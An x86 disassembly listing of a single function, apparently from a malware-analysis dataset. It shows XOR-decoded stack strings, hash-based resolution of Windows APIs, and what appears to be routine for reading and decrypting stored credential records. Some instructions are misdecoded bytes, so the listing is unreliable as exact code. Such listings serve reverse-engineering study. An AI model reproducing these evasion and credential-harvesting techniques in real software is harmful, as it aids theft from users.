Function at 0x411685
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor ecx, ecx
mov al, byte [esp + ecx + 0x88]
xor al, 0xe8
movzx eax, al
mov word [esp + ecx*2 + 0x168], ax
inc ecx
cmp ecx, 7
jl 0x41126d
push dword [esp + edi*4 + 0x140]
xor eax, eax
mov word [esp + 0x17a], ax
lea eax, [esp + 0x16c]
push ebp
push eax
call 0x42bdda
mov esi, eax
add esp, 0xc
les ecx, [ecx + ecx*4]
mov ah, 0x24
cmp byte [ecx], al
add byte [eax], al
test esi, esi
je 0x4119e1
mov ecx, esi
call 0x42be4f
mov ebp, eax
test ebp, ebp
je 0x4119d3
xor edx, edx
mov ecx, ebp
call 0x42c0ce
mov edi, eax
mov dword [esp + 0xf4], edi
test edi, edi
je 0x4119b5
push 0
push 1
lea eax, [esp + 0x100]
push eax
push edi
call dword [ebx + 4]
add esp, 0x10
test eax, eax
jne 0x4119a3
mov dword [esp + 0x38], 0x6b616649
xor ecx, ecx
mov dword [esp + 0x3c], 0x7d676c2f
mov dword [esp + 0x40], 0x7a666260
mov dword [esp + 0x44], 0x606c2f62
das
insb byte es:[edi], dx
pushal
mov dword [esp + 0x48], 0x6a666460
mov dword [esp + 0x4c], 0x6d6b2f7c
mov dword [esp + 0x50], 0x7c632a2f
mov byte [esp + 0x54], 5
mov al, byte [esp + ecx + 0x38]
xor edx, edx
mov ecx, edx
mov al, byte [esp + ecx + 0x68]
xor al, 0x44
mov byte [esp + ecx + 0x104], al
inc ecx
cmp ecx, 6
jl 0x411544
mov byte [esp + 0x10a], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x70]
xor al, 0xd1
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 7
pop ecx
push eax
mov edx, esi
mov ecx, edi
call 0x42c307
add dword [eax], eax
pop ecx
push 4
push dword [esp + 0x18]
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x1c]
je 0x4116c6
sbb al, 0xff
push ebx
adc byte [ecx + 0x59], bl
mov edx, eax
lea ecx, [esp + 0x1c]
call 0x42c485
pop ecx
lea eax, [esp + 0x30]
push eax
call fcn.004165f9
pop ecx
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0x1c]
call 0x42c344
pop ecx
push 5
push dword [esp + 0x18]
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 5
push dword [esp + 0x1c]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call 0x42c4c2
pop ecx
lea eax, [esp + 0x34]
push eax
call fcn.00416636
pop ecx
push eax
lea edx, [esp + 0x38]
lea ecx, [esp + 0x1c]
call 0x42c381
pop ecx
push 6
push dword [esp + 0x18]
call dword [ebx + 0x14]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4117c6
push 6
push dword [esp + 0x18]
call dword [ebx + 0x20]
cmp byte [esi], 0x76
mov edx, eax
pop ecx
pop ecx
jne 0x411776
cmp byte [esi + 1], 0x31
lea eax, [esi + 2]
jne 0x411776
lea eax, [esp + 0x150]
mov dword [esp + 0x148], edx
push eax
xor eax, eax
mov dword [esp + 0x150], esi
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x160]
mov edx, 0xbedfd981
push eax
push 3
pop ecx
call 0x42384a
call eax
test eax, eax
je 0x4117c6
push dword [esp + 0x150]
mov edx, dword [esp + 0x158]
lea ecx, [esp + 0x1c]
call 0x42c43c
pop ecx
lea eax, [esp + 0x60]
push eax
call fcn.0041670b
pop ecx
push eax
lea edx, [esp + 0x64]
lea ecx, [esp + 0x1c]
call 0x42c456
pop ecx
push dword [esp + 0x14]
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
je 0x411540
cmp dword [esp + 0x18], 0
je 0x41198d
push 0x58
mov dword [esp + 0x3c], 0x131717eb
xor ecx, ecx
mov dword [esp + 0x40], 0xd71b0d11
or eax, 0xffbad71b
add byte [eax], al
add bh, al
inc esp
and al, 0x44
int 0x14
sbb eax, dword [edi]
mov dword [esp + 0x48], 0xd61b14cd
mov word [esp + 0x4c], 0x201c
mov edi, dword [esp + 0xf4]
push dword [esp + 0x14]
call dword [ebx + 0x18]
mov esi, dword [esp + 0x13c]
mov ah, 0x24
cmp al, 1
add byte [eax], al
pop ecx
push dword [esp + 0xf8]
call dword [ebx + 0x1c]
pop ecx
push edi
call fcn.0041649f
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call 0x423a65
call eax
push ebp
call fcn.004164b6
mov edi, dword [esp + 0x104]
pop ecx
push esi
call 0x4164c4
mov ebp, dword [esp + 0x100]
pop ecx
inc edi
mov dword [esp + 0x100], edi
cmp edi, 2
jb 0x41126b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x230
ret